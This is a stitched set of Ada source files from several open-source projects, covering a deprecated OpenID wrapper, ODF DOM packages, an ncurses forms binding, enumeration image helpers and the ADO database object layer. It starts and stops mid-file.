<b>Verify</b> procedure is called with -- the association, parameters and the authentication result. The <b>Get_Status</b> function -- must be used to check that the authentication succeeded. -- -- Mgr.Verify (Assoc.all, Params, Auth); -- if Security.OpenID.Get_Status (Auth) = Security.OpenID.AUTHENTICATED then ... -- Success. -- -- === Principal creation === -- After the user is successfully authenticated, a user principal can be created and saved in -- the session. The user principal can then be used to assign permissions to that user and -- enforce the application permissions using the security policy manger. -- -- P : Security.OpenID.Principal_Access := Security.OpenID.Create_Principal (Auth); -- package Security.OpenID is pragma Obsolescent ("Use the Security.Auth package instead"); Invalid_End_Point : exception; Service_Error : exception; subtype Parameters is Security.Auth.Parameters; -- ------------------------------ -- OpenID provider -- ------------------------------ -- The <b>End_Point</b> represents the OpenID provider that will authenticate -- the user. subtype End_Point is Security.Auth.End_Point; -- ------------------------------ -- Association -- ------------------------------ -- The OpenID association contains the shared secret between the relying party -- and the OpenID provider. The association can be cached and reused to authenticate -- different users using the same OpenID provider. The association also has an -- expiration date. subtype Association is Security.Auth.End_Point; subtype Auth_Result is Security.Auth.Auth_Result; -- ------------------------------ -- OpenID provider -- ------------------------------ -- subtype Authentication is Security.Auth.Authentication; -- ------------------------------ -- OpenID Default principal -- ------------------------------ subtype Principal is Security.Auth.Principal; subtype Principal_Access is Security.Auth.Principal_Access; -- ------------------------------ -- OpenID Manager -- ------------------------------ -- The <b>Manager</b> provides the core operations for the OpenID process. subtype Manager is Security.Auth.Manager; -- Initialize the OpenID realm. procedure Initialize (Realm : in out Manager; Name : in String; Return_To : in String); private use Ada.Strings.Unbounded; -- -- type Manager is new Ada.Finalization.Limited_Controlled with record -- Realm : Unbounded_String; -- Return_To : Unbounded_String; -- end record; end Security.OpenID;
reznikmm/matreshka
Ada
3,754
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with XML.DOM.Attributes; package ODF.DOM.Text_Anchor_Page_Number_Attributes is pragma Preelaborate; type ODF_Text_Anchor_Page_Number_Attribute is limited interface and XML.DOM.Attributes.DOM_Attribute; type ODF_Text_Anchor_Page_Number_Attribute_Access is access all ODF_Text_Anchor_Page_Number_Attribute'Class with Storage_Size => 0; end ODF.DOM.Text_Anchor_Page_Number_Attributes;
sungyeon/drake
Ada
2,015
adb
package body System.Img_Enum_New is procedure Image_Enumeration_8 ( Pos : Natural; S : in out String; P : out Natural; Names : String; Indexes : Address) is type Index_Type is mod 2 ** 8; type Index_Array_Type is array (0 .. Pos + 1) of Index_Type; Indexes_All : Index_Array_Type; for Indexes_All'Address use Indexes; First : constant Natural := Natural (Indexes_All (Pos)); Next : constant Natural := Natural (Indexes_All (Pos + 1)); begin pragma Assert (S'Length >= Next - First); P := S'First - 1 + Next - First; S (S'First .. P) := Names (First .. Next - 1); end Image_Enumeration_8; procedure Image_Enumeration_16 ( Pos : Natural; S : in out String; P : out Natural; Names : String; Indexes : Address) is type Index_Type is mod 2 ** 16; type Index_Array_Type is array (0 .. Pos + 1) of Index_Type; Indexes_All : Index_Array_Type; for Indexes_All'Address use Indexes; First : constant Natural := Natural (Indexes_All (Pos)); Next : constant Natural := Natural (Indexes_All (Pos + 1)); begin pragma Assert (S'Length >= Next - First); P := S'First - 1 + Next - First; S (S'First .. P) := Names (First .. Next - 1); end Image_Enumeration_16; procedure Image_Enumeration_32 ( Pos : Natural; S : in out String; P : out Natural; Names : String; Indexes : Address) is type Index_Type is mod 2 ** 32; type Index_Array_Type is array (0 .. Pos + 1) of Index_Type; Indexes_All : Index_Array_Type; for Indexes_All'Address use Indexes; First : constant Natural := Natural (Indexes_All (Pos)); Next : constant Natural := Natural (Indexes_All (Pos + 1)); begin pragma Assert (S'Length >= Next - First); P := S'First - 1 + Next - First; S (S'First .. P) := Names (First .. Next - 1); end Image_Enumeration_32; end System.Img_Enum_New;
apple-oss-distributions/old_ncurses
Ada
3,763
ads
------------------------------------------------------------------------------ -- -- -- GNAT ncurses Binding -- -- -- -- Terminal_Interface.Curses.Forms.Field_Types.Enumeration.Ada -- -- -- -- S P E C -- -- -- ------------------------------------------------------------------------------ -- Copyright (c) 1998 Free Software Foundation, Inc. -- -- -- -- Permission is hereby granted, free of charge, to any person obtaining a -- -- copy of this software and associated documentation files (the -- -- "Software"), to deal in the Software without restriction, including -- -- without limitation the rights to use, copy, modify, merge, publish, -- -- distribute, distribute with modifications, sublicense, and/or sell -- -- copies of the Software, and to permit persons to whom the Software is -- -- furnished to do so, subject to the following conditions: -- -- -- -- The above copyright notice and this permission notice shall be included -- -- in all copies or substantial portions of the Software. -- -- -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -- -- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -- -- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -- -- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, -- -- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR -- -- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR -- -- THE USE OR OTHER DEALINGS IN THE SOFTWARE. -- -- -- -- Except as contained in this notice, the name(s) of the above copyright -- -- holders shall not be used in advertising or otherwise to promote the -- -- sale, use or other dealings in this Software without prior written -- -- authorization. -- ------------------------------------------------------------------------------ -- Author: Juergen Pfeifer <[email protected]> 1996 -- Version Control: -- $Revision: 1.1.1.1 $ -- Binding Version 01.00 ------------------------------------------------------------------------------ generic type T is (<>); package Terminal_Interface.Curses.Forms.Field_Types.Enumeration.Ada is pragma Preelaborate (Terminal_Interface.Curses.Forms.Field_Types.Enumeration.Ada); function Create (Set : Type_Set := Mixed_Case; Case_Sensitive : Boolean := False; Must_Be_Unique : Boolean := False) return Enumeration_Field; function Value (Fld : Field; Buf : Buffer_Number := Buffer_Number'First) return T; -- Translate the content of the fields buffer - indicated by the -- buffer number - into an enumeration value. If the buffer is empty -- or the content is invalid, a Constraint_Error is raises. end Terminal_Interface.Curses.Forms.Field_Types.Enumeration.Ada;
stcarrez/ada-ado
Ada
30,689
adb
----------------------------------------------------------------------- -- ADO Objects -- Database objects -- Copyright (C) 2009 - 2020, 2022 Stephane Carrez -- Written by Stephane Carrez ([email protected]) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Strings.Unbounded.Hash; with Ada.Unchecked_Deallocation; with ADO.Sessions.Factory; package body ADO.Objects is use type ADO.Schemas.Class_Mapping_Access; -- ------------------------------ -- Compute the hash of the object key. -- ------------------------------ function Hash (Key : Object_Key) return Ada.Containers.Hash_Type is use Ada.Containers; Result : Ada.Containers.Hash_Type; begin case Key.Of_Type is when KEY_INTEGER => if Key.Id < 0 then Result := Hash_Type (-Key.Id); else Result := Hash_Type (Key.Id); end if; when KEY_STRING => Result := Ada.Strings.Unbounded.Hash (Key.Str); end case; -- Merge with the class mapping hash so that two key values of different -- tables will result in a different hash. Result := Result xor ADO.Schemas.Hash (Key.Of_Class); return Result; end Hash; -- ------------------------------ -- Compare whether the two objects pointed to by Left and Right have the same -- object key. The object key is identical if the object key type, the class -- mapping and the key value are identical. -- ------------------------------ function Equivalent_Elements (Left, Right : Object_Key) return Boolean is use Ada.Strings.Unbounded; begin if Left.Of_Type /= Right.Of_Type then return False; end if; if Left.Of_Class /= Right.Of_Class then return False; end if; case Left.Of_Type is when KEY_INTEGER => return Left.Id = Right.Id; when KEY_STRING => return Left.Str = Right.Str; end case; end Equivalent_Elements; -- ------------------------------ -- Get the key value -- ------------------------------ function Get_Value (Key : Object_Key) return Identifier is begin return Key.Id; end Get_Value; -- ------------------------------ -- Get the key value -- ------------------------------ function Get_Value (Key : Object_Key) return Ada.Strings.Unbounded.Unbounded_String is begin return Key.Str; end Get_Value; -- ------------------------------ -- Set the key value -- ------------------------------ procedure Set_Value (Key : in out Object_Key; Value : in Identifier) is begin case Key.Of_Type is when KEY_INTEGER => Key.Id := Value; when KEY_STRING => Key.Str := Ada.Strings.Unbounded.To_Unbounded_String (Identifier'Image (Value)); end case; end Set_Value; -- ------------------------------ -- Set the key value -- ------------------------------ procedure Set_Value (Key : in out Object_Key; Value : in String) is begin case Key.Of_Type is when KEY_INTEGER => Key.Id := Identifier'Value (Value); when KEY_STRING => Key.Str := Ada.Strings.Unbounded.To_Unbounded_String (Value); end case; end Set_Value; -- ------------------------------ -- Get the key as a string -- ------------------------------ function To_String (Key : Object_Key) return String is begin case Key.Of_Type is when KEY_INTEGER => return Identifier'Image (Key.Id); when KEY_STRING => return Ada.Strings.Unbounded.To_String (Key.Str); end case; end To_String; -- ------------------------------ -- Return the key value in a bean object. -- ------------------------------ function To_Object (Key : Object_Key) return Util.Beans.Objects.Object is begin case Key.Of_Type is when KEY_INTEGER => return Util.Beans.Objects.To_Object (Long_Long_Integer (Key.Id)); when KEY_STRING => return Util.Beans.Objects.To_Object (Key.Str); end case; end To_Object; -- ------------------------------ -- Increment the reference counter when an object is copied -- ------------------------------ overriding procedure Adjust (Object : in out Object_Ref) is begin if Object.Object /= null then Util.Concurrent.Counters.Increment (Object.Object.Counter); end if; end Adjust; -- ------------------------------ -- Decrement the reference counter and release the object record. -- ------------------------------ overriding procedure Finalize (Object : in out Object_Ref) is procedure Free is new Ada.Unchecked_Deallocation (Object => Object_Record'Class, Name => Object_Record_Access); Is_Zero : Boolean; begin if Object.Object /= null then Util.Concurrent.Counters.Decrement (Object.Object.Counter, Is_Zero); if Is_Zero then Free (Object.Object); end if; end if; end Finalize; -- ------------------------------ -- Mark the field identified by <b>Field</b> as modified. -- ------------------------------ procedure Set_Field (Object : in out Object_Ref'Class; Field : in Column_Index) is begin if Object.Object = null then Object.Allocate; Object.Object.Is_Loaded := True; elsif not Object.Object.Is_Loaded then Object.Lazy_Load; end if; Object.Object.Modified (Field) := True; end Set_Field; -- ------------------------------ -- Prepare the object to be modified. If the reference is empty, an object record -- instance is allocated by calling <b>Allocate</b>. -- ------------------------------ procedure Prepare_Modify (Object : in out Object_Ref'Class; Result : out Object_Record_Access) is begin if Object.Object = null then Object.Allocate; Object.Object.Is_Loaded := True; elsif not Object.Object.Is_Loaded then Object.Lazy_Load; end if; Result := Object.Object; end Prepare_Modify; -- ------------------------------ -- Check whether this object is initialized or not. -- ------------------------------ function Is_Null (Object : in Object_Ref'Class) return Boolean is begin return Object.Object = null; end Is_Null; -- ------------------------------ -- Check whether this object is saved in the database. -- Returns True if the object was saved in the database. -- ------------------------------ function Is_Inserted (Object : in Object_Ref'Class) return Boolean is begin if Object.Object = null then return False; else return Object.Object.Is_Created; end if; end Is_Inserted; -- ------------------------------ -- Check whether this object is loaded from the database. -- ------------------------------ function Is_Loaded (Object : in Object_Ref'Class) return Boolean is begin if Object.Object = null then return False; else return Object.Object.Is_Loaded and then Object.Object.Is_Created; end if; end Is_Loaded; -- ------------------------------ -- Check if at least one field is modified and the object must be saved. -- ------------------------------ function Is_Modified (Object : in Object_Ref'Class) return Boolean is begin if Object.Object = null then return False; else return Object.Object.Is_Modified; end if; end Is_Modified; -- ------------------------------ -- Load the object from the database if it was not already loaded. -- For a lazy association, the <b>Object_Record</b> is allocated and holds the primary key. -- The <b>Is_Loaded</b> boolean is cleared thus indicating the other values are not loaded. -- This procedure makes sure these values are loaded by invoking <b>Load</b> if necessary. -- Raises Session_Error if the session associated with the object is closed. -- ------------------------------ procedure Lazy_Load (Ref : in Object_Ref'Class) is begin if Ref.Object = null then raise NULL_ERROR; elsif not Ref.Object.Is_Loaded then if Ref.Object.Session = null then raise ADO.Sessions.Session_Error; end if; if Ref.Object.Session.Session = null then raise ADO.Sessions.Session_Error; end if; declare S : ADO.Sessions.Session := ADO.Sessions.Factory.Get_Session (Ref.Object.Session.Session.all'Access); begin Ref.Object.Load (S); end; end if; end Lazy_Load; -- ------------------------------ -- Internal method to get the object record instance and make sure it is fully loaded. -- If the object was not yet loaded, calls <b>Lazy_Load</b> to get the values from the -- database. Raises Session_Error if the session associated with the object is closed. -- ------------------------------ function Get_Load_Object (Ref : in Object_Ref'Class) return Object_Record_Access is begin Ref.Lazy_Load; return Ref.Object; end Get_Load_Object; -- ------------------------------ -- Internal method to get the object record instance. -- ------------------------------ function Get_Object (Ref : in Object_Ref'Class) return Object_Record_Access is begin return Ref.Object; end Get_Object; -- ------------------------------ -- Get the object key -- ------------------------------ function Get_Key (Ref : in Object_Ref'Class) return Object_Key is begin return Ref.Object.Key; end Get_Key; -- ------------------------------ -- Set the object key. -- ------------------------------ procedure Set_Key_Value (Ref : in out Object_Ref'Class; Value : in Identifier; Session : in ADO.Sessions.Session'Class) is begin if Ref.Object = null then Ref.Allocate; end if; Ref.Object.Is_Created := True; Ref.Object.Set_Key_Value (Value); Ref.Object.Session := Session.Get_Session_Proxy; Util.Concurrent.Counters.Increment (Ref.Object.Session.Counter); end Set_Key_Value; -- ------------------------------ -- Set the object key. -- ------------------------------ procedure Set_Key_Value (Ref : in out Object_Ref'Class; Value : in Ada.Strings.Unbounded.Unbounded_String; Session : in ADO.Sessions.Session'Class) is begin if Ref.Object = null then Ref.Allocate; end if; Ref.Object.Is_Created := True; Ref.Object.Set_Key_Value (Value); Ref.Object.Session := Session.Get_Session_Proxy; Util.Concurrent.Counters.Increment (Ref.Object.Session.Counter); end Set_Key_Value; -- ------------------------------ -- Check if the two objects are the same database objects. -- The comparison is only made on the primary key. -- Returns true if the two objects have the same primary key. -- ------------------------------ overriding function "=" (Left : Object_Ref; Right : Object_Ref) return Boolean is begin -- Same target object if Left.Object = Right.Object then return True; end if; -- One of the target object is null if Left.Object = null or else Right.Object = null then return False; end if; return Left.Object.Key = Right.Object.Key; end "="; procedure Set_Object (Ref : in out Object_Ref'Class; Object : in Object_Record_Access) is Is_Zero : Boolean; begin if Ref.Object /= null and then Ref.Object /= Object then Util.Concurrent.Counters.Decrement (Ref.Object.Counter, Is_Zero); if Is_Zero then Destroy (Ref.Object); end if; end if; Ref.Object := Object; end Set_Object; procedure Set_Object (Ref : in out Object_Ref'Class; Object : in Object_Record_Access; Session : in ADO.Sessions.Session'Class) is begin if Object /= null and then Object.Session = null then Object.Session := Session.Get_Session_Proxy; Util.Concurrent.Counters.Increment (Object.Session.Counter); end if; Ref.Set_Object (Object); end Set_Object; -- ------------------------------ -- Get the object primary key in a bean object. -- ------------------------------ function To_Object (Object : in Object_Ref'Class) return Util.Beans.Objects.Object is begin if Object.Object = null then return Util.Beans.Objects.Null_Object; else return To_Object (Object.Object.Get_Key); end if; end To_Object; -- ------------------------------ -- Get the object key -- ------------------------------ function Get_Key (Ref : in Object_Record'Class) return Object_Key is begin return Ref.Key; end Get_Key; -- ------------------------------ -- Set the object key -- ------------------------------ procedure Set_Key (Ref : in out Object_Record'Class; Key : in Object_Key) is begin Ref.Key := Key; end Set_Key; -- ------------------------------ -- Get the object key value as an identifier -- ------------------------------ function Get_Key_Value (Ref : in Object_Record'Class) return Identifier is begin return Ref.Key.Id; end Get_Key_Value; function Get_Key_Value (Ref : in Object_Record'Class) return Ada.Strings.Unbounded.Unbounded_String is begin return Ref.Key.Str; end Get_Key_Value; procedure Set_Key_Value (Ref : in out Object_Record'Class; Value : in Identifier) is begin Set_Value (Ref.Key, Value); end Set_Key_Value; procedure Set_Key_Value (Ref : in out Object_Record'Class; Value : in Ada.Strings.Unbounded.Unbounded_String) is begin Ref.Key.Str := Value; end Set_Key_Value; procedure Set_Key_Value (Ref : in out Object_Record'Class; Value : in String) is begin Ref.Key.Str := Ada.Strings.Unbounded.To_Unbounded_String (Value); end Set_Key_Value; -- ------------------------------ -- Get the table name associated with the object record. -- ------------------------------ function Get_Table_Name (Ref : in Object_Record'Class) return Util.Strings.Name_Access is begin if Ref.Key.Of_Class = null then return null; else return Ref.Key.Of_Class.Table; end if; end Get_Table_Name; -- ------------------------------ -- Check if this is a new object. -- Returns True if an insert is necessary to persist this object. -- ------------------------------ function Is_Created (Ref : in Object_Record'Class) return Boolean is begin return Ref.Is_Created; end Is_Created; -- ------------------------------ -- Mark the object as created in the database. -- ------------------------------ procedure Set_Created (Ref : in out Object_Record'Class) is begin Ref.Is_Created := True; Ref.Is_Loaded := True; Ref.Modified := (others => False); end Set_Created; -- ------------------------------ -- Check if at least one field is modified and the object must be saved. -- ------------------------------ function Is_Modified (Ref : in Object_Record'Class) return Boolean is begin return (for some Modified_Field of Ref.Modified => Modified_Field); end Is_Modified; -- ------------------------------ -- Check if the field at position <b>Field</b> was modified. -- ------------------------------ function Is_Modified (Ref : in Object_Record'Class; Field : in Column_Index) return Boolean is begin return Ref.Modified (Field); end Is_Modified; -- ------------------------------ -- Clear the modification flag associated with the field at -- position <b>Field</b>. -- ------------------------------ procedure Clear_Modified (Ref : in out Object_Record'Class; Field : in Column_Index) is begin Ref.Modified (Field) := False; end Clear_Modified; -- ------------------------------ -- Release the session proxy, deleting the instance if it is no longer used. -- The <tt>Detach</tt> parameter controls whether the session proxy must be detached -- from the database session. When set, the session proxy is no longer linked to the -- database session and trying to load the lazy object will raise the Session_Error -- exception. -- ------------------------------ procedure Release_Proxy (Proxy : in out Session_Proxy_Access; Detach : in Boolean := False) is procedure Free is new Ada.Unchecked_Deallocation (Object => Session_Proxy, Name => Session_Proxy_Access); Is_Zero : Boolean; begin if Proxy /= null then Util.Concurrent.Counters.Decrement (Proxy.Counter, Is_Zero); if Detach then Proxy.Session := null; end if; if Is_Zero then Free (Proxy); end if; Proxy := null; end if; end Release_Proxy; -- ------------------------------ -- Release the object. -- ------------------------------ overriding procedure Finalize (Object : in out Object_Record) is begin Release_Proxy (Object.Session); end Finalize; -- ------------------------------ -- Copy the source object record into the target. -- ------------------------------ procedure Copy (To : in out Object_Record; From : in Object_Record'Class) is begin To.Session := From.Session; To.Is_Created := From.Is_Created; To.Is_Loaded := From.Is_Loaded; To.Modified := From.Modified; To.Key := From.Key; end Copy; function Create_Session_Proxy (S : access ADO.Sessions.Session_Record) return Session_Proxy_Access is Result : constant Session_Proxy_Access := new Session_Proxy; begin Result.Session := S; return Result; end Create_Session_Proxy; -- ------------------------------ -- Set the object field to the new value in <b>Into</b>. If the new value is identical, -- the operation does nothing. Otherwise, the new value <b>Value</b> is copied -- to <b>Into</b> and the field identified by <b>Field</b> is marked as modified on -- the object. -- ------------------------------ procedure Set_Field_Unbounded_String (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Ada.Strings.Unbounded.Unbounded_String; Value : in Ada.Strings.Unbounded.Unbounded_String) is use Ada.Strings.Unbounded; begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Unbounded_String; procedure Set_Field_String (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Ada.Strings.Unbounded.Unbounded_String; Value : in String) is use Ada.Strings.Unbounded; begin if Into /= Value then Ada.Strings.Unbounded.Set_Unbounded_String (Into, Value); Object.Modified (Field) := True; end if; end Set_Field_String; procedure Set_Field_String (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out ADO.Nullable_String; Value : in String) is use Ada.Strings.Unbounded; begin if Into.Is_Null or else Into.Value /= Value then Into.Is_Null := False; Ada.Strings.Unbounded.Set_Unbounded_String (Into.Value, Value); Object.Modified (Field) := True; end if; end Set_Field_String; procedure Set_Field_String (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out ADO.Nullable_String; Value : in ADO.Nullable_String) is use Ada.Strings.Unbounded; begin if Into.Is_Null then if not Value.Is_Null then Into := Value; Object.Modified (Field) := True; end if; elsif Value.Is_Null then Into.Is_Null := True; Object.Modified (Field) := True; elsif Into.Value /= Value.Value then Into.Value := Value.Value; Object.Modified (Field) := True; end if; end Set_Field_String; procedure Set_Field_Time (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Ada.Calendar.Time; Value : in Ada.Calendar.Time) is use Ada.Calendar; begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Time; procedure Set_Field_Time (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out ADO.Nullable_Time; Value : in ADO.Nullable_Time) is use Ada.Calendar; begin if Into.Is_Null then if not Value.Is_Null then Into := Value; Object.Modified (Field) := True; end if; elsif Value.Is_Null then Into.Is_Null := True; Object.Modified (Field) := True; elsif Into.Value /= Value.Value then Into.Value := Value.Value; Object.Modified (Field) := True; end if; end Set_Field_Time; procedure Set_Field_Integer (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Integer; Value : in Integer) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Integer; procedure Set_Field_Integer (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out ADO.Nullable_Integer; Value : in ADO.Nullable_Integer) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Integer; procedure Set_Field_Natural (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Natural; Value : in Natural) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Natural; procedure Set_Field_Positive (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Positive; Value : in Positive) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Positive; procedure Set_Field_Boolean (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Boolean; Value : in Boolean) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Boolean; procedure Set_Field_Boolean (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Nullable_Boolean; Value : in Nullable_Boolean) is begin if Into.Is_Null then if not Value.Is_Null then Into := Value; Object.Modified (Field) := True; end if; elsif Value.Is_Null then Into.Is_Null := True; Object.Modified (Field) := True; elsif Into.Value /= Value.Value then Into.Value := Value.Value; Object.Modified (Field) := True; end if; end Set_Field_Boolean; procedure Set_Field_Float (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Float; Value : in Float) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Float; procedure Set_Field_Long_Float (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Long_Float; Value : in Long_Float) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Long_Float; procedure Set_Field_Object (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out Object_Ref'Class; Value : in Object_Ref'Class) is begin if Into.Object /= Value.Object then Set_Object (Into, Value.Object); if Into.Object /= null then Util.Concurrent.Counters.Increment (Into.Object.Counter); end if; Object.Modified (Field) := True; end if; end Set_Field_Object; procedure Set_Field_Identifier (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out ADO.Identifier; Value : in ADO.Identifier) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Identifier; procedure Set_Field_Entity_Type (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out ADO.Entity_Type; Value : in ADO.Entity_Type) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Entity_Type; procedure Set_Field_Entity_Type (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out ADO.Nullable_Entity_Type; Value : in ADO.Nullable_Entity_Type) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Entity_Type; procedure Set_Field_Blob (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out ADO.Blob_Ref; Value : in ADO.Blob_Ref) is use type ADO.Blob_Ref; begin if Value /= Into then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Blob; procedure Set_Field_Key_Value (Object : in out Object_Record'Class; Field : in Column_Index; Value : in ADO.Identifier) is begin if Object.Get_Key_Value /= Value then Set_Key_Value (Object, Value); Object.Modified (Field) := True; end if; end Set_Field_Key_Value; procedure Set_Field_Key_Value (Object : in out Object_Record'Class; Field : in Column_Index; Value : in String) is use Ada.Strings.Unbounded; begin if Object.Key.Str /= Value then Set_Key_Value (Object, Value); Object.Modified (Field) := True; end if; end Set_Field_Key_Value; procedure Set_Field_Key_Value (Object : in out Object_Record'Class; Field : in Column_Index; Value : in Ada.Strings.Unbounded.Unbounded_String) is use Ada.Strings.Unbounded; begin if Object.Key.Str /= Value then Set_Key_Value (Object, Value); Object.Modified (Field) := True; end if; end Set_Field_Key_Value; procedure Set_Field_Operation (Object : in out Object_Record'Class; Field : in Column_Index; Into : in out T; Value : in T) is begin if Into /= Value then Into := Value; Object.Modified (Field) := True; end if; end Set_Field_Operation; -- ------------------------------ -- Mark the field identified by <b>Field</b> as modified. -- ------------------------------ procedure Set_Field (Object : in out Object_Record'Class; Field : in Column_Index) is begin Object.Modified (Field) := True; end Set_Field; end ADO.Objects;
likai3g/afmt
Ada
136
ads
with Fmt.Generic_Signed_Int_Argument; package Fmt.Long_Long_Integer_Argument is new Generic_Signed_Int_Argument(Long_Long_Integer);
reznikmm/matreshka
Ada
6,800
adb
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Matreshka.DOM_Documents; with Matreshka.ODF_String_Constants; with ODF.DOM.Iterators; with ODF.DOM.Visitors; package body Matreshka.ODF_Text.Chapter_Elements is ------------ -- Create -- ------------ overriding function Create (Parameters : not null access Matreshka.DOM_Elements.Element_L2_Parameters) return Text_Chapter_Element_Node is begin return Self : Text_Chapter_Element_Node do Matreshka.ODF_Text.Constructors.Initialize (Self'Unchecked_Access, Parameters.Document, Matreshka.ODF_String_Constants.Text_Prefix); end return; end Create; ---------------- -- Enter_Node -- ---------------- overriding procedure Enter_Node (Self : not null access Text_Chapter_Element_Node; Visitor : in out XML.DOM.Visitors.Abstract_Visitor'Class; Control : in out XML.DOM.Visitors.Traverse_Control) is begin if Visitor in 